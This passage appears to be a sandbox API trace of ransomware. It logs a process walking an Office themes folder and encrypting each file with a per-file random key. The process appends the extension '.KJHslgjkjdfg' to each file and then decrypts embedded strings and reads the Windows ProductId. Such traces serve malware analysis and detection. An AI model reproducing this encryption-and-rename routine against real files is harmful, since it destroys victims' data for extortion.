nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.189] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.189] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.189] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.190] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.190] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.190] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.190] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.190] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x10fc7, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x10fc7, lpOverlapped=0x0) returned 1 [0171.192] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x10fd0, dwBufLen=0x10fd0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x10fd0) returned 1 [0171.193] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.193] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x10fd0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x10fd0, lpOverlapped=0x0) returned 1 [0171.193] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.194] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x11094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.194] SetEndOfFile (hFile=0x12c) returned 1 [0171.195] GetProcessHeap () returned 0x990000 [0171.195] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0171.195] GetProcessHeap () returned 0x990000 [0171.195] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.195] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm.kjhslgjkjdfg")) returned 1 [0171.196] CloseHandle (hObject=0x12c) returned 1 [0171.196] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ARCTIC.INF", cAlternateFileName="")) returned 1 [0171.197] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.197] GetProcessHeap () returned 0x990000 [0171.197] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.197] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.197] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.198] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xf, lpOverlapped=0x0) returned 1 [0171.199] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.199] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.199] GetProcessHeap () returned 0x990000 [0171.199] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0171.199] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0171.199] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.199] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0171.199] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.199] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.199] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.199] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.200] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.200] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.200] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.200] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.200] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x201, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x201, lpOverlapped=0x0) returned 1 [0171.200] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x210, dwBufLen=0x210 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x210) returned 1 [0171.200] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.200] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x210, lpOverlapped=0x0) returned 1 [0171.201] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.201] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.201] SetEndOfFile (hFile=0x12c) returned 1 [0171.202] GetProcessHeap () returned 0x990000 [0171.202] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0171.202] GetProcessHeap () returned 0x990000 [0171.202] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.202] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf.kjhslgjkjdfg")) returned 1 [0171.216] CloseHandle (hObject=0x12c) returned 1 [0171.217] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0171.217] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.218] GetProcessHeap () returned 0x990000 [0171.218] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.218] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.218] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.218] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x7, lpOverlapped=0x0) returned 1 [0171.221] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.221] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.221] GetProcessHeap () returned 0x990000 [0171.221] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.221] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.221] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.221] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.222] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.222] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.222] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.222] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.222] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.222] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.222] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.222] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.222] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xba9, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xba9, lpOverlapped=0x0) returned 1 [0171.222] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xbb0, dwBufLen=0xbb0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xbb0) returned 1 [0171.223] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.223] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xbb0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xbb0, lpOverlapped=0x0) returned 1 [0171.223] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.223] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xc84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.223] SetEndOfFile (hFile=0x12c) returned 1 [0171.226] GetProcessHeap () returned 0x990000 [0171.226] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.226] GetProcessHeap () returned 0x990000 [0171.226] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.226] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.kjhslgjkjdfg")) returned 1 [0171.236] CloseHandle (hObject=0x12c) returned 1 [0171.237] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0171.237] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.238] GetProcessHeap () returned 0x990000 [0171.238] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.238] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.238] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.238] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xc, lpOverlapped=0x0) returned 1 [0171.240] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.240] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.240] GetProcessHeap () returned 0x990000 [0171.240] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.240] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.240] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.240] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.240] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.240] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.240] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.240] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.240] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.241] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.241] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.241] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.241] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4d44, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x4d44, lpOverlapped=0x0) returned 1 [0171.242] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x4d50, dwBufLen=0x4d50 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x4d50) returned 1 [0171.242] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.242] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4d50, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x4d50, lpOverlapped=0x0) returned 1 [0171.242] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.242] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x4e24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.242] SetEndOfFile (hFile=0x12c) returned 1 [0171.244] GetProcessHeap () returned 0x990000 [0171.244] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.244] GetProcessHeap () returned 0x990000 [0171.244] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.244] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0171.248] CloseHandle (hObject=0x12c) returned 1 [0171.248] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0171.248] GetProcessHeap () returned 0x990000 [0171.248] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.248] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.248] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0171.249] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.249] GetProcessHeap () returned 0x990000 [0171.249] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0171.249] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.249] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0171.249] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.249] GetProcessHeap () returned 0x990000 [0171.249] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f99f0 [0171.249] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.249] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f99f0, pdwDataLen=0x29dee20 | out: pbData=0x9f99f0, pdwDataLen=0x29dee20) returned 1 [0171.249] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.249] GetProcessHeap () returned 0x990000 [0171.249] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0171.249] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.249] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0171.249] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.250] GetProcessHeap () returned 0x990000 [0171.250] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0171.250] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.250] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0171.250] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.250] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0171.250] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, 